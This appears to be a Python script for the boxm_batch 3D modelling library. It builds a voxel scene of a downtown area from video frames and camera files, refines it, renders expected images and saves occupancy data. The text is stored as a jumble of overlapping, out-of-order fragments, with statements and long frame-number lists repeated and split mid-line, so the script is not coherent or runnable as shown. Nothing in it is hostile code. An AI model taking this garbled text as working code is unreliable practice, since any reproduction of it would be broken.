87, 26,", "#boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir + \"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0); #boxm_batch.run_process(); print(\"Save Scene\"); boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_string(1,model_dir", "91, 161, 144, 83, 64, 140, 81, 36, 167, 72, 45, 98, 88,", "149, 62, 108, 170, 37, 101, 179, 82, 106, 114, 5, 110, 169,", "127, 148] print \"schedule is \", schedule; # write schedule file fd =", "0, 53, 153, 74, 4, 30]; bad_frames = [34, 49, 63, 76, 113,", "112, 137, 87, 26, 128, 180, 68, 142, 47, 48, 77, 150, 50,", "print schedule; for x in range(0,len(schedule),1): #for x in range(63,64,1): i = schedule[x];", "os.path.isdir( model_imgs_dir + \"/\"): os.mkdir( model_imgs_dir + \"/\"); image_fnames = \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames =", "model_dir +\"/downtown_scene.xml\"); boxm_batch.run_process(); (scene_id, scene_type) = boxm_batch.commit_output(0); scene = dbvalue(scene_id, scene_type); print(\"Loading Virtual", "180, 68, 142, 47, 48, 77, 150, 50, 91, 161, 144, 83, 64,", "= open(image_id_fname,\"w\"); print >>fd, len(schedule); print >>fd, schedule; fd.close() print schedule; for x", "boxm_batch.set_input_string(0, model_dir +\"/downtown_scene.xml\"); boxm_batch.run_process(); (scene_id, scene_type) = boxm_batch.commit_output(0); scene = dbvalue(scene_id, scene_type); print(\"Loading", "vcam = dbvalue(id,type); nframes =181; import random; schedule = [i for i in", "4, 30]; bad_frames = [34, 49, 63, 76, 113, 118, 127, 148] print", "status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); print(\"Loading Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames", "% 50 == 0) or (x == 180)): temp_dir = around_imgs_dir % x;", "Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type)", "os.mkdir( model_imgs_dir + \"/\"); image_fnames = \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames = \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname = model_imgs_dir", "boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0, model_dir +\"/downtown_scene.xml\"); boxm_batch.run_process(); (scene_id, scene_type) = boxm_batch.commit_output(0); scene = dbvalue(scene_id, scene_type);", "os.mkdir( temp_dir + \"/\"); for j in range(0,nframes,8): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames %", "+ \"/\"): os.mkdir( model_imgs_dir + \"/\"); image_fnames = \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames = \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname", "range(63,64,1): i = schedule[x]; is_good_frame = 1; for b in range(0, len(bad_frames),1): if", "27, 113, 84, 151, 165, 147, 71, 131, 109, 124, 141, 105, 21,", "Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4, 0); boxm_batch.run_process(); #refine only for first", "): print(\"Refine Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1); boxm_batch.run_process(); # Generate Expected Image print(\"Generating", "boxm_batch.run_process(); if(((x+1) % 50 == 0) or (x == 180)): temp_dir = around_imgs_dir", "136, 70, 23, 92, 8, 73, 172, 111, 116, 177, 29, 178, 49,", "= model_imgs_dir + \"/expected_%05d.tiff\"; image_id_fname = model_imgs_dir + \"/schedule.txt\"; expected_fname_no_dir = \"/expected_%05d.tiff\" print(\"Creating", "if (bad_frames[b]== i): is_good_frame = 0; print (\"Skiping frame: \"); print(i); break; if(is_good_frame):", "model_imgs_dir + \"/\"): os.mkdir( model_imgs_dir + \"/\"); image_fnames = \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames = \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\";", "Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process();", "= 0; print (\"Skiping frame: \"); print(i); break; if(is_good_frame): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames", "cam = dbvalue(id,type); # Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam);", "j in range(0,nframes,8): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % j); status = boxm_batch.run_process(); (id,type)", "76, 113, 118, 127, 148] print \"schedule is \", schedule; # write schedule", "104, 3, 121, 52, 102, 46, 60, 117, 93, 126, 67, 16, 166,", "+ \"/\"); image_fnames = \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames = \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname = model_imgs_dir + \"/expected_%05d.tiff\";", "boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1); boxm_batch.run_process(); # Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam);", "53, 153, 74, 4, 30]; bad_frames = [34, 49, 63, 76, 113, 118,", "108, 170, 37, 101, 179, 82, 106, 114, 5, 110, 169, 97, 44,", "model_imgs_dir + \"/expected_%05d.tiff\"; image_id_fname = model_imgs_dir + \"/schedule.txt\"; expected_fname_no_dir = \"/expected_%05d.tiff\" print(\"Creating a", "137, 87, 26, 128, 180, 68, 142, 47, 48, 77, 150, 50, 91,", "import random; schedule = [i for i in range(0,nframes)]; random.shuffle(schedule); #schedule = [176,", "43, 120, 27, 113, 84, 151, 165, 147, 71, 131, 109, 124, 141,", "37, 101, 179, 82, 106, 114, 5, 110, 169, 97, 44, 25, 118,", "if(x < 140 ): print(\"Refine Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1); boxm_batch.run_process(); # Generate", "boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type);", "145, 135, 163, 6, 11, 104, 3, 121, 52, 102, 46, 60, 117,", "175, 125, 155, 42, 10, 75, 173, 34, 145, 135, 163, 6, 11,", "& boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); image = dbvalue(id,type); if(status): print(\"Updating Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image);", "string # Capitol model_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if", "print(\"Loading Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames % i); status = status & boxm_batch.run_process(); (id,type) =", "115, 94, 22, 20, 66, 35, 17, 160, 154, 132, 99, 31, 18,", "not os.path.isdir( model_imgs_dir + \"/\"): os.mkdir( model_imgs_dir + \"/\"); image_fnames = \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames", "150, 50, 91, 161, 144, 83, 64, 140, 81, 36, 167, 72, 45,", "169, 97, 44, 25, 118, 95, 7, 19, 162, 119, 134, 159, 15,", "expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1, temp_dir + image_name); boxm_batch.run_process(); #print(\"Save Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene);", "164, 38, 78, 33, 56, 100, 24, 43, 120, 27, 113, 84, 151,", "11, 104, 3, 121, 52, 102, 46, 60, 117, 93, 126, 67, 16,", "is_good_frame = 0; print (\"Skiping frame: \"); print(i); break; if(is_good_frame): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\");", "% i); boxm_batch.run_process(); if(((x+1) % 50 == 0) or (x == 180)): temp_dir", "break; if(is_good_frame): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % i); status = boxm_batch.run_process(); (id,type) =", "status = status & boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); image = dbvalue(id,type); if(status): print(\"Updating", "= model_imgs_dir + \"/schedule.txt\"; expected_fname_no_dir = \"/expected_%05d.tiff\" print(\"Creating a Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0, model_dir", "cam = dbvalue(id,type); print(\"Loading Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames % i); status = status &", "= boxm_batch.commit_output(1); mask = dbvalue(id,type); print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname % i);", "random.shuffle(schedule); #schedule = [176, 158, 146, 174, 9, 96, 89, 40, 152, 41,", "Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process();", "in range(0, len(bad_frames),1): if (bad_frames[b]== i): is_good_frame = 0; print (\"Skiping frame: \");", "= \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames = \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname = model_imgs_dir + \"/expected_%05d.tiff\"; image_id_fname = model_imgs_dir", "images if(x < 140 ): print(\"Refine Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2); boxm_batch.set_input_bool(2,1); boxm_batch.run_process(); #", "88, 85, 156, 39, 12, 103, 2, 55, 61, 148, 80, 157, 136,", "print >>fd, len(schedule); print >>fd, schedule; fd.close() print schedule; for x in range(0,len(schedule),1):", "only for first 140 images if(x < 140 ): print(\"Refine Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene);", "158, 146, 174, 9, 96, 89, 40, 152, 41, 58, 51, 175, 125,", "print(\"Updating Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4, 0); boxm_batch.run_process(); #refine only for", "print(\"Creating a Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0, model_dir +\"/downtown_scene.xml\"); boxm_batch.run_process(); (scene_id, scene_type) = boxm_batch.commit_output(0); scene", "153, 74, 4, 30]; bad_frames = [34, 49, 63, 76, 113, 118, 127,", "boxm_batch.set_input_string(0,camera_fnames % i); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); print(\"Loading", "=181; import random; schedule = [i for i in range(0,nframes)]; random.shuffle(schedule); #schedule =", "open(image_id_fname,\"w\"); print >>fd, len(schedule); print >>fd, schedule; fd.close() print schedule; for x in", ">>fd, schedule; fd.close() print schedule; for x in range(0,len(schedule),1): #for x in range(63,64,1):", "Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) =", "126, 67, 16, 166, 13, 107, 164, 38, 78, 33, 56, 100, 24,", "= dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected);", "40, 152, 41, 58, 51, 175, 125, 155, 42, 10, 75, 173, 34,", "boxm_batch.register_processes(); boxm_batch.register_datatypes(); #time.sleep(10); class dbvalue: def __init__(self, index, type): self.id = index #", "\"schedule is \", schedule; # write schedule file fd = open(image_id_fname,\"w\"); print >>fd,", "#print(\"Save Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir + \"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0); #boxm_batch.run_process(); print(\"Save Scene\"); boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\");", "camera_fnames = \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname = model_imgs_dir + \"/expected_%05d.tiff\"; image_id_fname = model_imgs_dir + \"/schedule.txt\";", "0; print (\"Skiping frame: \"); print(i); break; if(is_good_frame): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames %", "print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname % i); boxm_batch.run_process(); if(((x+1) % 50 ==", "for first 140 images if(x < 140 ): print(\"Refine Scene\"); boxm_batch.init_process(\"boxmRefineSceneProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_float(1,0.2);", "boxm_batch.set_input_string(1,expected_fname % i); boxm_batch.run_process(); if(((x+1) % 50 == 0) or (x == 180)):", "26, 128, 180, 68, 142, 47, 48, 77, 150, 50, 91, 161, 144,", "143, 90, 149, 62, 108, 170, 37, 101, 179, 82, 106, 114, 5,", "+ image_name); boxm_batch.run_process(); #print(\"Save Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir + \"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0); #boxm_batch.run_process();", "\"/\"); image_fnames = \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames = \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname = model_imgs_dir + \"/expected_%05d.tiff\"; image_id_fname", "87, 26, 128, 180, 68, 142, 47, 48, 77, 150, 50, 91, 161,", "177, 29, 178, 49, 14, 138, 1, 115, 94, 22, 20, 66, 35,", "file fd = open(image_id_fname,\"w\"); print >>fd, len(schedule); print >>fd, schedule; fd.close() print schedule;", "128, 180, 68, 142, 47, 48, 77, 150, 50, 91, 161, 144, 83,", "167, 72, 45, 98, 88, 85, 156, 39, 12, 103, 2, 55, 61,", "124, 141, 105, 21, 129, 112, 137, 87, 26, 128, 180, 68, 142,", "status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); # Generate Expected Image", "= boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); image_name =", "51, 175, 125, 155, 42, 10, 75, 173, 34, 145, 135, 163, 6,", "13, 107, 164, 38, 78, 33, 56, 100, 24, 43, 120, 27, 113,", "\"/\"); for j in range(0,nframes,8): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % j); status =", "= boxm_batch.commit_output(1); mask = dbvalue(id,type); image_name = expected_fname_no_dir % j print(\"saving expected image\");", "32, 127, 171, 76, 79, 168, 122, 143, 90, 149, 62, 108, 170,", "163, 6, 11, 104, 3, 121, 52, 102, 46, 60, 117, 93, 126,", "boxm_batch; import os; import time; boxm_batch.register_processes(); boxm_batch.register_datatypes(); #time.sleep(10); class dbvalue: def __init__(self, index,", "schedule[x]; is_good_frame = 1; for b in range(0, len(bad_frames),1): if (bad_frames[b]== i): is_good_frame", "around_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if not os.path.isdir( model_imgs_dir + \"/\"): os.mkdir( model_imgs_dir + \"/\");", "80, 157, 136, 70, 23, 92, 8, 73, 172, 111, 116, 177, 29,", "#schedule = [176, 158, 146, 174, 9, 96, 89, 40, 152, 41, 58,", "148] print \"schedule is \", schedule; # write schedule file fd = open(image_id_fname,\"w\");", "= schedule[x]; is_good_frame = 1; for b in range(0, len(bad_frames),1): if (bad_frames[b]== i):", "55, 61, 148, 80, 157, 136, 70, 23, 92, 8, 73, 172, 111,", "boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % i); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type);", "mask = dbvalue(id,type); image_name = expected_fname_no_dir % j print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected);", "65, 69, 86, 139, 0, 53, 153, 74, 4, 30]; bad_frames = [34,", "if(is_good_frame): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % i); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0);", "77, 150, 50, 91, 161, 144, 83, 64, 140, 81, 36, 167, 72,", "class dbvalue: def __init__(self, index, type): self.id = index # unsigned integer self.type", "% i); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); print(\"Loading Image\");", "temp_dir + image_name); boxm_batch.run_process(); #print(\"Save Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir + \"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0);", "boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type);", "= [176, 158, 146, 174, 9, 96, 89, 40, 152, 41, 58, 51,", "boxm_batch.commit_output(0); scene = dbvalue(scene_id, scene_type); print(\"Loading Virtual Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % 40); boxm_batch.run_process();", "89, 40, 152, 41, 58, 51, 175, 125, 155, 42, 10, 75, 173,", "in range(0,nframes)]; random.shuffle(schedule); #schedule = [176, 158, 146, 174, 9, 96, 89, 40,", "boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); expected = dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask", "138, 1, 115, 94, 22, 20, 66, 35, 17, 160, 154, 132, 99,", "i): is_good_frame = 0; print (\"Skiping frame: \"); print(i); break; if(is_good_frame): print(\"Loading Camera\");", "\"/\"): os.mkdir( model_imgs_dir + \"/\"); image_fnames = \"/Volumes/vision/video/dec/Downtown/video/frame_%05d.png\"; camera_fnames = \"/Volumes/vision/video/dec/Downtown/cameras_KRT/camera_%05d.txt\"; expected_fname =", "= dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); image_name = expected_fname_no_dir % j", "Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0, model_dir +\"/downtown_scene.xml\"); boxm_batch.run_process(); (scene_id, scene_type) = boxm_batch.commit_output(0); scene = dbvalue(scene_id,", "= status & boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); image = dbvalue(id,type); if(status): print(\"Updating Scene\");", "12, 103, 2, 55, 61, 148, 80, 157, 136, 70, 23, 92, 8,", "118, 95, 7, 19, 162, 119, 134, 159, 15, 59, 63, 123, 130,", "dbvalue(id,type); # Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720);", "image_name); boxm_batch.run_process(); #print(\"Save Scene\"); #boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); #boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir + \"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0); #boxm_batch.run_process(); print(\"Save", "134, 159, 15, 59, 63, 123, 130, 65, 69, 86, 139, 0, 53,", "i in range(0,nframes)]; random.shuffle(schedule); #schedule = [176, 158, 146, 174, 9, 96, 89,", "114, 5, 110, 169, 97, 44, 25, 118, 95, 7, 19, 162, 119,", "\"/schedule.txt\"; expected_fname_no_dir = \"/expected_%05d.tiff\" print(\"Creating a Scene\"); boxm_batch.init_process(\"boxmCreateSceneProcess\"); boxm_batch.set_input_string(0, model_dir +\"/downtown_scene.xml\"); boxm_batch.run_process(); (scene_id,", "127, 171, 76, 79, 168, 122, 143, 90, 149, 62, 108, 170, 37,", "boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4, 0); boxm_batch.run_process(); #refine only for first 140 images if(x < 140", "# Capitol model_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if not", "5, 110, 169, 97, 44, 25, 118, 95, 7, 19, 162, 119, 134,", "Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0); boxm_batch.run_process(); (id,type) =", "50, 91, 161, 144, 83, 64, 140, 81, 36, 167, 72, 45, 98,", "__init__(self, index, type): self.id = index # unsigned integer self.type = type #", "3, 121, 52, 102, 46, 60, 117, 93, 126, 67, 16, 166, 13,", "# Generate Expected Image print(\"Generating Expected Image\"); boxm_batch.init_process(\"boxmRenderExpectedRTProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_from_db(1,vcam); boxm_batch.set_input_unsigned(2,1280); boxm_batch.set_input_unsigned(3,720); boxm_batch.set_input_bool(4,0);", "130, 65, 69, 86, 139, 0, 53, 153, 74, 4, 30]; bad_frames =", "63, 123, 130, 65, 69, 86, 139, 0, 53, 153, 74, 4, 30];", "boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); vcam = dbvalue(id,type); nframes =181; import random; schedule =", "15, 59, 63, 123, 130, 65, 69, 86, 139, 0, 53, 153, 74,", "around_imgs_dir % x; os.mkdir( temp_dir + \"/\"); for j in range(0,nframes,8): print(\"Loading Camera\");", "\"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if not os.path.isdir( model_imgs_dir + \"/\"): os.mkdir( model_imgs_dir + \"/\"); image_fnames =", "Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % j); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam =", "= dbvalue(id,type); nframes =181; import random; schedule = [i for i in range(0,nframes)];", "#boxm_batch.set_input_string(1,model_dir + \"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0); #boxm_batch.run_process(); print(\"Save Scene\"); boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_string(1,model_dir + \"/all_sample_scene.raw\");", "67, 16, 166, 13, 107, 164, 38, 78, 33, 56, 100, 24, 43,", "i); status = boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); print(\"Loading Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\");", "status & boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); image = dbvalue(id,type); if(status): print(\"Updating Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\");", "in range(63,64,1): i = schedule[x]; is_good_frame = 1; for b in range(0, len(bad_frames),1):", "= \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if not os.path.isdir( model_imgs_dir + \"/\"): os.mkdir( model_imgs_dir + \"/\"); image_fnames", "boxm_batch.set_input_from_db(0,image); boxm_batch.set_input_from_db(1,cam); boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4, 0); boxm_batch.run_process(); #refine only for first 140 images", "59, 63, 123, 130, 65, 69, 86, 139, 0, 53, 153, 74, 4,", "boxm_batch.set_input_from_db(2,scene); boxm_batch.set_input_unsigned(3,0); boxm_batch.set_input_bool(4, 0); boxm_batch.run_process(); #refine only for first 140 images if(x <", "121, 52, 102, 46, 60, 117, 93, 126, 67, 16, 166, 13, 107,", "17, 160, 154, 132, 99, 31, 18, 28, 57, 133, 54, 32, 127,", "= boxm_batch.run_process(); (id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); # Generate Expected Image print(\"Generating", "#boxm_batch.set_input_from_db(0,scene); #boxm_batch.set_input_string(1,model_dir + \"/sample_scene.raw\"); #boxm_batch.set_input_unsigned(2,0); #boxm_batch.set_input_unsigned(3,0); #boxm_batch.run_process(); print(\"Save Scene\"); boxm_batch.init_process(\"boxmSaveOccupancyRawProcess\"); boxm_batch.set_input_from_db(0,scene); boxm_batch.set_input_string(1,model_dir +", "x in range(63,64,1): i = schedule[x]; is_good_frame = 1; for b in range(0,", "for j in range(0,nframes,8): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % j); status = boxm_batch.run_process();", "index # unsigned integer self.type = type # string # Capitol model_dir =", "model_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4\"; model_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs\" around_imgs_dir = \"/Users/isa/Experiments/DowntownBOXM_12_12_4/imgs360_%03d\" if not os.path.isdir( model_imgs_dir", "31, 18, 28, 57, 133, 54, 32, 127, 171, 76, 79, 168, 122,", "dbvalue(id,type); (id,type) = boxm_batch.commit_output(1); mask = dbvalue(id,type); print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,expected_fname", "(id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); # Generate Expected Image print(\"Generating Expected Image\");", "= dbvalue(id,type); image_name = expected_fname_no_dir % j print(\"saving expected image\"); boxm_batch.init_process(\"vilSaveImageViewProcess\"); boxm_batch.set_input_from_db(0,expected); boxm_batch.set_input_string(1,", "148, 80, 157, 136, 70, 23, 92, 8, 73, 172, 111, 116, 177,", "(id,type) = boxm_batch.commit_output(0); cam = dbvalue(id,type); print(\"Loading Image\"); boxm_batch.init_process(\"vilLoadImageViewProcess\"); boxm_batch.set_input_string(0,image_fnames % i); status", "import boxm_batch; import os; import time; boxm_batch.register_processes(); boxm_batch.register_datatypes(); #time.sleep(10); class dbvalue: def __init__(self,", "\"); print(i); break; if(is_good_frame): print(\"Loading Camera\"); boxm_batch.init_process(\"vpglLoadPerspectiveCameraProcess\"); boxm_batch.set_input_string(0,camera_fnames % i); status = boxm_batch.run_process();", "= dbvalue(id,type); if(status): print(\"Updating Scene\"); boxm_batch.init_process(\"boxmUpdateRTProcess\"); boxm_batch.set_input_from_db(0,image); 